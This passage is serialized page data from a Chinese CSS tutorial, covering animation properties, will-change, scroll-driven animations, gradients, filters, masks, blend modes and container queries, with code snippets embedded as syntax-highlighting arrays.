both",[331,119505,620],{"class":337},[331,119507,119508],{"class":344},"animation-delay",[331,119510,348],{"class":337},[331,119512,114564],{"class":344},[331,119514,966],{"class":337},[331,119516,18923],{"class":344},[331,119518,966],{"class":337},[331,119520,119521],{"class":2472},"--i",[331,119523,409],{"class":337},[331,119525,628],{"class":344},[331,119527,3180],{"class":337},[331,119529,18020],{"class":616},[331,119531,119532],{"class":344}," 80",[331,119534,109973],{"class":616},[331,119536,111705],{"class":337},[11,119538,119539],{},"九个 longhand 里必须真正理解的三个：",[1773,119541,119542,119561,119570],{},[1662,119543,119544,322,119547,119550,119551,115363,119554,119557,119558,119560],{},[22,119545,119546],{},"animation-fill-mode",[22,119548,119549],{},"forwards"," 结束后停在最后一帧，",[22,119552,119553],{},"backwards",[17,119555,119556],{},"延迟期间","就显示第一帧，进入动画通常写 ",[22,119559,112524],{},"（否则元素会先闪一下原位再飞入）；",[1662,119562,119563,119565,119566,119569],{},[22,119564,119508],{}," 可以为",[17,119567,119568],{},"负值","：表示从动画中段开始播，做错峰循环很方便；",[1662,119571,119572,119574],{},[22,119573,115088],{}," 可以是小数：播到该比例停止。",[11,119576,119577,119578,119581],{},"多动画并列用逗号（",[22,119579,119580],{},"animation: fade-in .6s both, nudge 1.4s infinite alternate;","），第一个名字对应第一个时长。",[11,119583,119584,119585,119590],{},"进行中的动画声明",[17,119586,119587,119588],{},"优先级高于普通声明和 ",[22,119589,24107],{},"（第十六章的层叠表第 1 位）。所以「动画一跑 hover 就没反应」是规范行为，要先结束动画。",[53,119592,119594],{"id":119593},"重放暂停与错峰","重放、暂停与错峰",[308,119596,119598],{"className":108720,"code":119597,"language":108722,"meta":314,"style":314},"\u002F* 暂停：CSS 就能控制，不需要 JS 计时 *\u002F\n.paused .box { animation-play-state: paused; }\n\u002F* 重新触发同名动画：必须先移除、强制回流、再加回（JS 里的一行技巧） *\u002F\nel.classList.remove('run'); void el.offsetWidth; el.classList.add('run');\n\u002F* 错峰：把延迟交给变量，避免给每项写一条规则 *\u002F\n.item { animation-delay: calc(var(--i) * 80ms); }   \u002F* \u003Cli style=\"--i:2\"> *\u002F\n",[22,119599,119600,119605,119625,119630,119635,119640],{"__ignoreMap":314},[331,119601,119602],{"class":333,"line":334},[331,119603,119604],{"class":1003},"\u002F* 暂停：CSS 就能控制，不需要 JS 计时 *\u002F\n",[331,119606,119607,119610,119613,119615,119618,119620,119623],{"class":333,"line":341},[331,119608,119609],{"class":501},".paused",[331,119611,119612],{"class":501}," .box",[331,119614,605],{"class":337},[331,119616,119617],{"class":344},"animation-play-state",[331,119619,348],{"class":337},[331,119621,119622],{"class":344},"paused",[331,119624,664],{"class":337},[331,119626,119627],{"class":333,"line":357},[331,119628,119629],{"class":1003},"\u002F* 重新触发同名动画：必须先移除、强制回流、再加回（JS 里的一行技巧） *\u002F\n",[331,119631,119632],{"class":333,"line":371},[331,119633,119634],{"class":337},"el.classList.remove('run'); void el.offsetWidth; el.classList.add('run');\n",[331,119636,119637],{"class":333,"line":384},[331,119638,119639],{"class":1003},"\u002F* 错峰：把延迟交给变量，避免给每项写一条规则 *\u002F\n",[331,119641,119642,119644,119646,119648,119650,119652,119654,119656,119658,119660,119662,119664,119666,119668,119670],{"class":333,"line":397},[331,119643,116314],{"class":501},[331,119645,605],{"class":337},[331,119647,119508],{"class":344},[331,119649,348],{"class":337},[331,119651,114564],{"class":344},[331,119653,966],{"class":337},[331,119655,18923],{"class":344},[331,119657,966],{"class":337},[331,119659,119521],{"class":2472},[331,119661,3180],{"class":337},[331,119663,18020],{"class":616},[331,119665,119532],{"class":344},[331,119667,109973],{"class":616},[331,119669,115759],{"class":337},[331,119671,119672],{"class":1003},"\u002F* \u003Cli style=\"--i:2\"> *\u002F\n",[53,119674,119676,119678],{"id":119675},"will-change先测量再加",[22,119677,114417],{},"：先测量再加",[308,119680,119682],{"className":108720,"code":119681,"language":108722,"meta":314,"style":314},".box { will-change: transform; }   \u002F* 提前把元素提升为合成层，避免动画开始时建层卡顿 *\u002F\n",[22,119683,119684],{"__ignoreMap":314},[331,119685,119686,119688,119690,119692,119695],{"class":333,"line":334},[331,119687,34995],{"class":501},[331,119689,605],{"class":337},[331,119691,114417],{"class":344},[331,119693,119694],{"class":337},": transform; }   ",[331,119696,119697],{"class":1003},"\u002F* 提前把元素提升为合成层，避免动画开始时建层卡顿 *\u002F\n",[11,119699,119700,119701,655,119703,119705],{},"三条纪律：只给「马上要动」的元素加（每个合成层都吃显存，几十层就负收益）；动画结束后移除；现代内核已经会对 ",[22,119702,8790],{},[22,119704,109666],{}," 动画自动分层，实测收益常为零——先用 DevTools 的 Rendering（Paint flashing）与 Layers 面板确认再决定。",[11,119707,119708,119709,119711,119712,119714,119715,119718,119719,119721],{},"副作用要记住：",[22,119710,114417],{}," 会创建",[17,119713,114484],{},"与",[17,119716,119717],{},"包含块","，可能改变 ",[22,119720,114120],{}," 的参考系（第十二章）。",[53,119723,119725],{"id":119724},"滚动驱动动画新增能力","滚动驱动动画（新增能力）",[308,119727,119729],{"className":108720,"code":119728,"language":108722,"meta":314,"style":314},".bar { animation: grow linear both; animation-timeline: scroll(self); }\n\u002F* 也可以用命名滚动轴或元素可见度：animation-timeline: view(block 20% 60%) *\u002F\n",[22,119730,119731,119759],{"__ignoreMap":314},[331,119732,119733,119735,119737,119739,119742,119745,119747,119749,119752,119754,119756],{"class":333,"line":334},[331,119734,116113],{"class":501},[331,119736,605],{"class":337},[331,119738,119421],{"class":344},[331,119740,119741],{"class":337},": grow ",[331,119743,119744],{"class":344},"linear",[331,119746,119503],{"class":344},[331,119748,620],{"class":337},[331,119750,119751],{"class":344},"animation-timeline",[331,119753,348],{"class":337},[331,119755,70386],{"class":344},[331,119757,119758],{"class":337},"(self); }\n",[331,119760,119761],{"class":333,"line":341},[331,119762,119763],{"class":1003},"\u002F* 也可以用命名滚动轴或元素可见度：animation-timeline: view(block 20% 60%) *\u002F\n",[11,119765,119766,119767,119770],{},"浏览器基线：滚动驱动动画目前在 Chromium 系（Chrome\u002FEdge 115+）可用，Safari\u002FFirefox 仍在演进，属渐进增强——",[17,119768,119769],{},"必须保证「动画不跑时视图也成立」","（例如进度条不跑时停在 0，而不是盖住内容）。落笔与上线前请以 caniuse 当前数据为准。",[53,119772,119773],{"id":119773},"动效的三条纪律",[1659,119775,119776,119782,119791],{},[1662,119777,119778,119781],{},[17,119779,119780],{},"只用于解释变化","（位置、状态、加载进度），装饰性动效一律从简；时长 150–300ms 足够，超过 500ms 就会被感知为「慢」。",[1662,119783,119784,322,119787,119790],{},[17,119785,119786],{},"必须提供降级",[22,119788,119789],{},"@media (prefers-reduced-motion: reduce)"," 下关闭无限循环、把位移换成淡入（第十三章的全站写法）。",[1662,119792,119793,119796],{},[17,119794,119795],{},"不要同时动很多个大面积元素","：性能与注意力都是有限资源。",[48,119798,119800],{"id":119799},"十九视觉进阶渐变滤镜遮罩与混合","十九、视觉进阶：渐变、滤镜、遮罩与混合",[11,119802,119803,119804,119807,119808,119810],{},"这一章的工具全部服务于同一句话：",[17,119805,119806],{},"让「不需要作为内容存在」的视觉，不用图片也能做出来","。反过来也是判断标准——如果一块视觉承载了信息（截图、图表、产品图），它就该是 ",[22,119809,111319],{}," 而不是 CSS。",[4748,119812],{"height":116508,"src":119813,"title":119814},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F19-visual-fx.html","示例 19：conic\u002Fradial 渐变、filter\u002Fbackdrop-filter、mask 与 clip-path、blend",[53,119816,119818],{"id":119817},"渐变从线性到锥形","渐变：从线性到锥形",[11,119820,119821],{},"四种函数构成全部渐变能力：",[308,119823,119825],{"className":108720,"code":119824,"language":108722,"meta":314,"style":314},"linear-gradient(135deg, #0969da, #8250df)                      \u002F* 角度或关键词 *\u002F\nradial-gradient(circle at 30% 30%, #fff 0 8%, #0969da 30%)     \u002F* 形状 + 圆心 + 色标区间 *\u002F\nconic-gradient(from 45deg at 50% 50%, red, gold, green, red)   \u002F* 绕一圈，色相环\u002F饼图 *\u002F\nrepeating-linear-gradient(...) \u002F repeating-conic-gradient(...) \u002F* 重复，条纹\u002F放射纹 *\u002F\n",[22,119826,119827,119843,119866,119874],{"__ignoreMap":314},[331,119828,119829,119832,119834,119836,119838,119840],{"class":333,"line":334},[331,119830,119831],{"class":337},"linear-gradient(135deg, ",[331,119833,109986],{"class":7088},[331,119835,409],{"class":337},[331,119837,111382],{"class":7088},[331,119839,109395],{"class":337},[331,119841,119842],{"class":1003},"\u002F* 角度或关键词 *\u002F\n",[331,119844,119845,119848,119850,119853,119855,119858,119860,119863],{"class":333,"line":341},[331,119846,119847],{"class":337},"radial-gradient(",[331,119849,111466],{"class":497},[331,119851,119852],{"class":337}," at 30% 30%, ",[331,119854,110156],{"class":501},[331,119856,119857],{"class":337}," 0 8%, ",[331,119859,109986],{"class":7088},[331,119861,119862],{"class":337}," 30%)     ",[331,119864,119865],{"class":1003},"\u002F* 形状 + 圆心 + 色标区间 *\u002F\n",[331,119867,119868,119871],{"class":333,"line":357},[331,119869,119870],{"class":337},"conic-gradient(from 45deg at 50% 50%, red, gold, green, red)   ",[331,119872,119873],{"class":1003},"\u002F* 绕一圈，色相环\u002F饼图 *\u002F\n",[331,119875,119876,119879],{"class":333,"line":371},[331,119877,119878],{"class":337},"repeating-linear-gradient(...) \u002F repeating-conic-gradient(...) ",[331,119880,119881],{"class":1003},"\u002F* 重复，条纹\u002F放射纹 *\u002F\n",[11,119883,119884],{},"两个立刻能用的配方：",[308,119886,119888],{"className":108720,"code":119887,"language":108722,"meta":314,"style":314},"\u002F* 硬切色带：同一位置写两次色标 → 进度条、双色块 *\u002F\n.progress { background: linear-gradient(90deg, var(--brand-500) 62%, var(--bg-3) 62%); }\n\n\u002F* 环形进度：conic 上色 + mask 挖中心，纯 CSS 无 SVG *\u002F\n.ring { aspect-ratio: 1; border-radius: 50%;\n        background: conic-gradient(var(--brand-500) 0 var(--pct), var(--bg-3) var(--pct) 100%);\n        mask: radial-gradient(circle, transparent 0 55%, #000 56%); }\n",[22,119889,119890,119895,119944,119948,119953,119978,120030],{"__ignoreMap":314},[331,119891,119892],{"class":333,"line":334},[331,119893,119894],{"class":1003},"\u002F* 硬切色带：同一位置写两次色标 → 进度条、双色块 *\u002F\n",[331,119896,119897,119899,119901,119903,119905,119907,119909,119911,119913,119915,119917,119919,119921,119923,119925,119927,119929,119931,119933,119936,119938,119940,119942],{"class":333,"line":341},[331,119898,111663],{"class":501},[331,119900,605],{"class":337},[331,119902,35025],{"class":344},[331,119904,348],{"class":337},[331,119906,111367],{"class":344},[331,119908,966],{"class":337},[331,119910,87582],{"class":344},[331,119912,109953],{"class":616},[331,119914,409],{"class":337},[331,119916,18923],{"class":344},[331,119918,966],{"class":337},[331,119920,115509],{"class":2472},[331,119922,3180],{"class":337},[331,119924,111690],{"class":344},[331,119926,715],{"class":616},[331,119928,409],{"class":337},[331,119930,18923],{"class":344},[331,119932,966],{"class":337},[331,119934,119935],{"class":2472},"--bg-3",[331,119937,3180],{"class":337},[331,119939,111690],{"class":344},[331,119941,715],{"class":616},[331,119943,111705],{"class":337},[331,119945,119946],{"class":333,"line":357},[331,119947,998],{"emptyLinePlaceholder":997},[331,119949,119950],{"class":333,"line":371},[331,119951,119952],{"class":1003},"\u002F* 环形进度：conic 上色 + mask 挖中心，纯 CSS 无 SVG *\u002F\n",[331,119954,119955,119958,119960,119962,119964,119966,119968,119970,119972,119974,119976],{"class":333,"line":384},[331,119956,119957],{"class":501},".ring",[331,119959,605],{"class":337},[331,119961,114999],{"class":344},[331,119963,348],{"class":337},[331,119965,7993],{"class":344},[331,119967,620],{"class":337},[331,119969,111842],{"class":344},[331,119971,348],{"class":337},[331,119973,114251],{"class":344},[331,119975,715],{"class":616},[331,119977,108769],{"class":337},[331,119979,119980,119983,119985,119988,119990,119992,119994,119996,119998,120000,120002,120004,120006,120008,120010,120012,120014,120016,120018,120020,120022,120024,120026,120028],{"class":333,"line":397},[331,119981,119982],{"class":344},"        background",[331,119984,348],{"class":337},[331,119986,119987],{"class":344},"conic-gradient",[331,119989,966],{"class":337},[331,119991,18923],{"class":344},[331,119993,966],{"class":337},[331,119995,115509],{"class":2472},[331,119997,3180],{"class":337},[331,119999,628],{"class":344},[331,120001,24075],{"class":344},[331,120003,966],{"class":337},[331,120005,116118],{"class":2472},[331,120007,72027],{"class":337},[331,120009,18923],{"class":344},[331,120011,966],{"class":337},[331,120013,119935],{"class":2472},[331,120015,3180],{"class":337},[331,120017,18923],{"class":344},[331,120019,966],{"class":337},[331,120021,116118],{"class":2472},[331,120023,3180],{"class":337},[331,120025,712],{"class":344},[331,120027,715],{"class":616},[331,120029,37982],{"class":337},[331,120031,120032,120035,120037,120040,120042,120044,120046,120048,120050,120053,120055,120057,120060,120063,120065],{"class":333,"line":418},[331,120033,120034],{"class":344},"        mask",[331,120036,348],{"class":337},[331,120038,120039],{"class":344},"radial-gradient",[331,120041,966],{"class":337},[331,120043,111466],{"class":344},[331,120045,409],{"class":337},[331,120047,35030],{"class":344},[331,120049,680],{"class":344},[331,120051,120052],{"class":344}," 55",[331,120054,715],{"class":616},[331,120056,409],{"class":337},[331,120058,120059],{"class":344},"#000",[331,120061,120062],{"class":344}," 56",[331,120064,715],{"class":616},[331,120066,111705],{"class":337},[11,120068,120069,120070,120072],{},"多层渐变叠加是「有质感的封面」的标准做法：一层径向高光 + 一层细密纹理 + 一层底色渐变，配合 ",[22,120071,111627],{}," 决定层间混合方式（本章示例最后那个 hero 就是三层）。",[53,120074,120076,120078],{"id":120075},"filter改自己的绘制结果",[22,120077,21587],{},"：改自己的绘制结果",[308,120080,120082],{"className":108720,"code":120081,"language":108722,"meta":314,"style":314},"filter: grayscale(1) saturate(1.6) blur(2px) drop-shadow(3px 4px 0 rgba(9,105,218,.5));\n",[22,120083,120084],{"__ignoreMap":314},[331,120085,120086],{"class":333,"line":334},[331,120087,120081],{"class":337},[1773,120089,120090,120123,120134],{},[1662,120091,120092,120093,268,120096,268,120099,268,120102,268,120105,268,120108,268,120111,268,120114,268,120117,268,120120,17306],{},"可用函数：",[22,120094,120095],{},"blur()",[22,120097,120098],{},"brightness()",[22,120100,120101],{},"contrast()",[22,120103,120104],{},"grayscale()",[22,120106,120107],{},"hue-rotate()",[22,120109,120110],{},"invert()",[22,120112,120113],{},"opacity()",[22,120115,120116],{},"saturate()",[22,120118,120119],{},"sepia()",[22,120121,120122],{},"drop-shadow()",[1662,120124,120125,5160,120127,120129,120130,120133],{},[22,120126,120122],{},[22,120128,111920],{}," 的区别：前者贴着",[17,120131,120132],{},"透明轮廓","画，适合异形\u002F带透明通道的图片，后者只按矩形盒子；",[1662,120135,120136,120137,120139,120140,120142,120143,120145],{},"三个副作用：创建",[17,120138,114484],{},"（第十二章）、改变 ",[22,120141,114120],{}," 的参考系、动画 ",[22,120144,21587],{}," 成本高（模糊半径变化要重绘）。",[11,120147,120148,120149,120152,120153,120155],{},"实用配方：禁用态 ",[22,120150,120151],{},"grayscale(1) + opacity(.6)","；hover 轻微提饱和比加遮罩更省；缩略图统一色调用 ",[22,120154,21587],{}," 而不是重新处理图片。",[53,120157,120159,120161],{"id":120158},"backdrop-filter毛玻璃",[22,120160,114405],{},"：毛玻璃",[308,120163,120165],{"className":108720,"code":120164,"language":108722,"meta":314,"style":314},".glass { background: rgba(255,255,255,.18);\n         backdrop-filter: blur(6px) saturate(1.4);\n         -webkit-backdrop-filter: blur(6px) saturate(1.4);\n         border: 1px solid rgba(255,255,255,.35); }\n",[22,120166,120167,120198,120225,120250],{"__ignoreMap":314},[331,120168,120169,120172,120174,120176,120178,120180,120182,120184,120186,120188,120190,120192,120194,120196],{"class":333,"line":334},[331,120170,120171],{"class":501},".glass",[331,120173,605],{"class":337},[331,120175,35025],{"class":344},[331,120177,348],{"class":337},[331,120179,111482],{"class":344},[331,120181,966],{"class":337},[331,120183,111487],{"class":344},[331,120185,111490],{"class":337},[331,120187,111487],{"class":344},[331,120189,111490],{"class":337},[331,120191,111487],{"class":344},[331,120193,111490],{"class":337},[331,120195,112404],{"class":344},[331,120197,37982],{"class":337},[331,120199,120200,120203,120205,120208,120210,120212,120214,120216,120219,120221,120223],{"class":333,"line":341},[331,120201,120202],{"class":344},"         backdrop-filter",[331,120204,348],{"class":337},[331,120206,120207],{"class":344},"blur",[331,120209,966],{"class":337},[331,120211,28747],{"class":344},[331,120213,617],{"class":616},[331,120215,3180],{"class":337},[331,120217,120218],{"class":344},"saturate",[331,120220,966],{"class":337},[331,120222,118767],{"class":344},[331,120224,37982],{"class":337},[331,120226,120227,120230,120232,120234,120236,120238,120240,120242,120244,120246,120248],{"class":333,"line":357},[331,120228,120229],{"class":344},"         -webkit-backdrop-filter",[331,120231,348],{"class":337},[331,120233,120207],{"class":344},[331,120235,966],{"class":337},[331,120237,28747],{"class":344},[331,120239,617],{"class":616},[331,120241,3180],{"class":337},[331,120243,120218],{"class":344},[331,120245,966],{"class":337},[331,120247,118767],{"class":344},[331,120249,37982],{"class":337},[331,120251,120252,120255,120257,120259,120261,120263,120265,120267,120269,120271,120273,120275,120277,120279,120281],{"class":333,"line":371},[331,120253,120254],{"class":344},"         border",[331,120256,348],{"class":337},[331,120258,7993],{"class":344},[331,120260,617],{"class":616},[331,120262,24072],{"class":344},[331,120264,111998],{"class":344},[331,120266,966],{"class":337},[331,120268,111487],{"class":344},[331,120270,111490],{"class":337},[331,120272,111487],{"class":344},[331,120274,111490],{"class":337},[331,120276,111487],{"class":344},[331,120278,111490],{"class":337},[331,120280,111501],{"class":344},[331,120282,111705],{"class":337},[11,120284,120285,120286,120289,120290,120292],{},"三条注意：需要 Safari 前缀；",[17,120287,120288],{},"背后必须有内容","才看得出效果（纯色底上等于白做）；大面积高斯模糊在低端设备上很贵，别给整页背景加。那条半透明 ",[22,120291,24063],{}," 是让玻璃「看得见边界」的关键，缺了它面板会糊成一片。",[53,120294,120296,5160,120298,120300],{"id":120295},"mask-与-clip-path软边界与硬边界",[22,120297,114411],{},[22,120299,112460],{},"：软边界与硬边界",[57,120302,120303,120317],{},[60,120304,120305],{},[63,120306,120307,120309,120313],{},[66,120308],{},[66,120310,120311],{},[22,120312,114411],{},[66,120314,120315],{},[22,120316,112460],{},[79,120318,120319,120330,120359],{},[63,120320,120321,120324,120327],{},[84,120322,120323],{},"表达",[84,120325,120326],{},"Alpha\u002F亮度决定「哪里可见」，可以有渐变过渡",[84,120328,120329],{},"几何裁剪，只有硬边界",[63,120331,120332,120334,120342],{},[84,120333,54701],{},[84,120335,53522,120336,120338,120339,5149],{},[22,120337,35025],{}," 几乎一致（",[22,120340,120341],{},"mask-image\u002Fsize\u002Fposition\u002Frepeat",[84,120343,120344,268,120347,268,120350,268,120353,268,120356],{},[22,120345,120346],{},"inset()",[22,120348,120349],{},"circle()",[22,120351,120352],{},"ellipse()",[22,120354,120355],{},"polygon()",[22,120357,120358],{},"path()",[63,120360,120361,120363,120366],{},[84,120362,11668],{},[84,120364,120365],{},"图片右缘渐隐、用 SVG 当图标形状（颜色交给 CSS）",[84,120367,120368],{},"切角卡片、星形、hover 时从方到圆的形变",[308,120370,120372],{"className":108720,"code":120371,"language":108722,"meta":314,"style":314},".fade-out { mask: linear-gradient(90deg, #000 40%, transparent); }        \u002F* 列表末尾渐隐 *\u002F\n.icon { mask: url(star.svg) center\u002Fcontain no-repeat; background: currentColor; }  \u002F* 随文字色变化的图标 *\u002F\n.card { clip-path: polygon(0 0, 100% 0, 100% 70%, 70% 100%, 0 100%); }\n",[22,120373,120374,120410,120452],{"__ignoreMap":314},[331,120375,120376,120379,120381,120383,120385,120387,120389,120391,120393,120395,120397,120399,120401,120403,120405,120407],{"class":333,"line":334},[331,120377,120378],{"class":501},".fade-out",[331,120380,605],{"class":337},[331,120382,114411],{"class":344},[331,120384,348],{"class":337},[331,120386,111367],{"class":344},[331,120388,966],{"class":337},[331,120390,87582],{"class":344},[331,120392,109953],{"class":616},[331,120394,409],{"class":337},[331,120396,120059],{"class":344},[331,120398,111508],{"class":344},[331,120400,715],{"class":616},[331,120402,409],{"class":337},[331,120404,35030],{"class":344},[331,120406,118214],{"class":337},[331,120408,120409],{"class":1003},"\u002F* 列表末尾渐隐 *\u002F\n",[331,120411,120412,120415,120417,120419,120421,120423,120425,120428,120430,120432,120434,120436,120439,120441,120443,120445,120447,120449],{"class":333,"line":341},[331,120413,120414],{"class":501},".icon",[331,120416,605],{"class":337},[331,120418,114411],{"class":344},[331,120420,348],{"class":337},[331,120422,18769],{"class":344},[331,120424,966],{"class":337},[331,120426,120427],{"class":2472},"star.svg",[331,120429,3180],{"class":337},[331,120431,110939],{"class":344},[331,120433,655],{"class":337},[331,120435,111309],{"class":344},[331,120437,120438],{"class":344}," no-repeat",[331,120440,620],{"class":337},[331,120442,35025],{"class":344},[331,120444,348],{"class":337},[331,120446,110122],{"class":344},[331,120448,110305],{"class":337},[331,120450,120451],{"class":1003},"\u002F* 随文字色变化的图标 *\u002F\n",[331,120453,120454,120456,120458,120460,120462,120465,120467,120469,120471,120473,120475,120477,120479,120481,120483,120485,120488,120490,120492,120495,120497,120499,120501,120503,120505,120507,120509],{"class":333,"line":357},[331,120455,109053],{"class":501},[331,120457,605],{"class":337},[331,120459,112460],{"class":344},[331,120461,348],{"class":337},[331,120463,120464],{"class":344},"polygon",[331,120466,966],{"class":337},[331,120468,628],{"class":344},[331,120470,680],{"class":344},[331,120472,409],{"class":337},[331,120474,712],{"class":344},[331,120476,715],{"class":616},[331,120478,680],{"class":344},[331,120480,409],{"class":337},[331,120482,712],{"class":344},[331,120484,715],{"class":616},[331,120486,120487],{"class":344}," 70",[331,120489,715],{"class":616},[331,120491,409],{"class":337},[331,120493,120494],{"class":344},"70",[331,120496,715],{"class":616},[331,120498,49936],{"class":344},[331,120500,715],{"class":616},[331,120502,409],{"class":337},[331,120504,628],{"class":344},[331,120506,49936],{"class":344},[331,120508,715],{"class":616},[331,120510,111705],{"class":337},[11,120512,120513,120514,120517,120518,120520],{},"两者都会创建层叠上下文，也都会",[17,120515,120516],{},"裁掉溢出内容与阴影","（第十二章的包含块规则同样适用）。",[22,120519,112460],{}," 在两个形状函数相同、点数一致时可以平滑过渡——这是形变动效的做法；无障碍角度注意：被裁掉的文字仍会被读屏念到，视觉信息丢失要自己兜住。",[53,120522,120524,5160,120527],{"id":120523},"mix-blend-mode-与-background-blend-mode",[22,120525,120526],{},"mix-blend-mode",[22,120528,111627],{},[308,120530,120532],{"className":108720,"code":120531,"language":108722,"meta":314,"style":314},".overlay { mix-blend-mode: multiply; }        \u002F* 与背后元素混合 *\u002F\n.bg { background-blend-mode: multiply; }      \u002F* 自己的多层背景之间混合 *\u002F\n",[22,120533,120534,120553],{"__ignoreMap":314},[331,120535,120536,120539,120541,120543,120545,120548,120550],{"class":333,"line":334},[331,120537,120538],{"class":501},".overlay",[331,120540,605],{"class":337},[331,120542,120526],{"class":344},[331,120544,348],{"class":337},[331,120546,120547],{"class":344},"multiply",[331,120549,110594],{"class":337},[331,120551,120552],{"class":1003},"\u002F* 与背后元素混合 *\u002F\n",[331,120554,120555,120558,120560,120562,120564,120566,120568],{"class":333,"line":341},[331,120556,120557],{"class":501},".bg",[331,120559,605],{"class":337},[331,120561,111627],{"class":344},[331,120563,348],{"class":337},[331,120565,120547],{"class":344},[331,120567,117877],{"class":337},[331,120569,120570],{"class":1003},"\u002F* 自己的多层背景之间混合 *\u002F\n",[11,120572,120573,120574,120576,120577,120580,120581,1901,120583,120586,120587,1901,120590,120593,120594,1901,120597,120600],{},"常用值：",[22,120575,120547],{},"（变暗，适合阴影\u002F水印）、",[22,120578,120579],{},"screen","（变亮，适合光效）、",[22,120582,50882],{},[22,120584,120585],{},"soft-light","（保对比的叠加）、",[22,120588,120589],{},"difference",[22,120591,120592],{},"exclusion","（反色文字）、",[22,120595,120596],{},"hue",[22,120598,120599],{},"luminosity","（给图片换色相）。",[11,120602,120603,120604,120609],{},"关键的一条：",[17,120605,120606,120607],{},"给混合区域加 ",[22,120608,114423],{},"，否则它会跟整个祖先背景混合，页面别处会出现莫名其妙的颜色变化（同时你也顺手创建了层叠上下文，见第十二章）。",[53,120611,120612],{"id":120612},"什么时候不要用这些",[1659,120614,120615,120626,120634],{},[1662,120616,120617,120618,4809,120620,120623,120624,5177],{},"首屏大图：仍然应该 ",[22,120619,111319],{},[22,120621,120622],{},"srcset","（能缓存、能裁切、能懒加载、有 ",[22,120625,18830],{},[1662,120627,120628,120629,5160,120631,120633],{},"需要印刷\u002F导出 PDF 的视觉：",[22,120630,21587],{},[22,120632,114411],{}," 在打印管线里表现不一致；",[1662,120635,120636,120637,655,120639,120641],{},"大面积持续动画的 ",[22,120638,21587],{},[22,120640,114405],{},"：低端设备掉帧明显（第十八章的性能原则）。",[48,120643,120645,120646,120648],{"id":120644},"二十容器查询supports-与调试排错","二十、容器查询、",[22,120647,116639],{}," 与调试排错",[4748,120650],{"height":114031,"src":120651,"title":120652},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F20a-container-queries.html","示例 20a：container-type、@container、cqi 单位与 :has() 组合",[53,120654,120655],{"id":120655},"两条语句就够",[308,120657,120659],{"className":108720,"code":120658,"language":108722,"meta":314,"style":314},"\u002F* 一、把某个祖先声明为查询容器 *\u002F\n.card-zone { container-type: inline-size; container-name: cardzone; }\n\u002F* 二、子树内部按它的尺寸写规则（查询的是祖先，样式给后代） *\u002F\n@container cardzone (min-width: 340px) { .media { grid-template-columns: 128px 1fr; } }\n",[22,120660,120661,120666,120685,120690],{"__ignoreMap":314},[331,120662,120663],{"class":333,"line":334},[331,120664,120665],{"class":1003},"\u002F* 一、把某个祖先声明为查询容器 *\u002F\n",[331,120667,120668,120671,120673,120676,120679,120682],{"class":333,"line":341},[331,120669,120670],{"class":501},".card-zone",[331,120672,605],{"class":337},[331,120674,120675],{"class":344},"container-type",[331,120677,120678],{"class":337},": inline-size; ",[331,120680,120681],{"class":344},"container-name",[331,120683,120684],{"class":337},": cardzone; }\n",[331,120686,120687],{"class":333,"line":357},[331,120688,120689],{"class":1003},"\u002F* 二、子树内部按它的尺寸写规则（查询的是祖先，样式给后代） *\u002F\n",[331,120691,120692,120694,120697,120700,120702,120704,120706,120709,120711,120713,120715],{"class":333,"line":371},[331,120693,117484],{"class":616},[331,120695,120696],{"class":337}," cardzone (min-width: 340px) { ",[331,120698,120699],{"class":501},".media",[331,120701,605],{"class":337},[331,120703,113375],{"class":344},[331,120705,348],{"class":337},[331,120707,120708],{"class":344},"128",[331,120710,617],{"class":616},[331,120712,30777],{"class":344},[331,120714,109909],{"class":616},[331,120716,114888],{"class":337},[11,120718,120719,120720,120722,120723,161],{},"也可以不写 ",[22,120721,120681],{},"（匿名容器），但同名查询会命中「最近的」容器，跨组件复用时容易串味——给容器命名是更稳的习惯。简写形式：",[22,120724,120725],{},"container: inline-size \u002F cardzone;",[11,120727,120728,120729,120732],{},"它的价值：同一张卡片放进侧栏（窄）、主区（中）、整页 banner（宽），",[17,120730,120731],{},"组件源码完全相同","，表现由容器决定。媒体查询回答「屏幕多大」，容器查询回答「我被放进多大的地方」——后者才是组件级响应式。",[53,120734,120736,120738],{"id":120735},"container-type-的三个值与代价",[22,120737,120675],{}," 的三个值与代价",[57,120740,120741,120753],{},[60,120742,120743],{},[63,120744,120745,120747,120750],{},[66,120746,62845],{},[66,120748,120749],{},"可查询",[66,120751,120752],{},"副作用",[79,120754,120755,120771,120785],{},[63,120756,120757,120762,120765],{},[84,120758,120759],{},[22,120760,120761],{},"inline-size",[84,120763,120764],{},"只有宽度轴",[84,120766,120767,120770],{},[17,120768,120769],{},"最常用","：不影响自身高度，不会产生循环依赖",[63,120772,120773,120777,120780],{},[84,120774,120775],{},[22,120776,67771],{},[84,120778,120779],{},"两个轴",[84,120781,120782,120783],{},"容器高度必须与内容无关（否则「内容决定高度、高度又决定内容」）——通常要显式给 ",[22,120784,99201],{},[63,120786,120787,120792,120795],{},[84,120788,120789],{},[22,120790,120791],{},"normal",[84,120793,120794],{},"不查询",[84,120796,120797],{},"默认，取消容器身份",[11,120799,120800,120801,112595,120803,120805,120806,120809,120810,22270],{},"另外两条必须知道：",[22,120802,120675],{},[22,120804,120791],{}," 时，元素会建立",[17,120807,120808],{},"独立格式化上下文","（内部 margin 不再与外部塌陷，见第九章），并成为绝对定位后代的",[17,120811,119717],{},[53,120813,120815,120816,1901,120819,1901,120822,1901,120825],{"id":120814},"容器单位cqi-cqb-cqmin-cqmax","容器单位：",[22,120817,120818],{},"cqi",[22,120820,120821],{},"cqb",[22,120823,120824],{},"cqmin",[22,120826,120827],{},"cqmax",[308,120829,120831],{"className":108720,"code":120830,"language":108722,"meta":314,"style":314},".title { font-size: 8cqi; }   \u002F* 字号相对容器宽度的 1% *\u002F\n.card  { padding: 2cqi; }\n",[22,120832,120833,120852],{"__ignoreMap":314},[331,120834,120835,120837,120839,120841,120843,120845,120847,120849],{"class":333,"line":334},[331,120836,108738],{"class":501},[331,120838,605],{"class":337},[331,120840,690],{"class":344},[331,120842,348],{"class":337},[331,120844,39054],{"class":344},[331,120846,120818],{"class":616},[331,120848,35033],{"class":337},[331,120850,120851],{"class":1003},"\u002F* 字号相对容器宽度的 1% 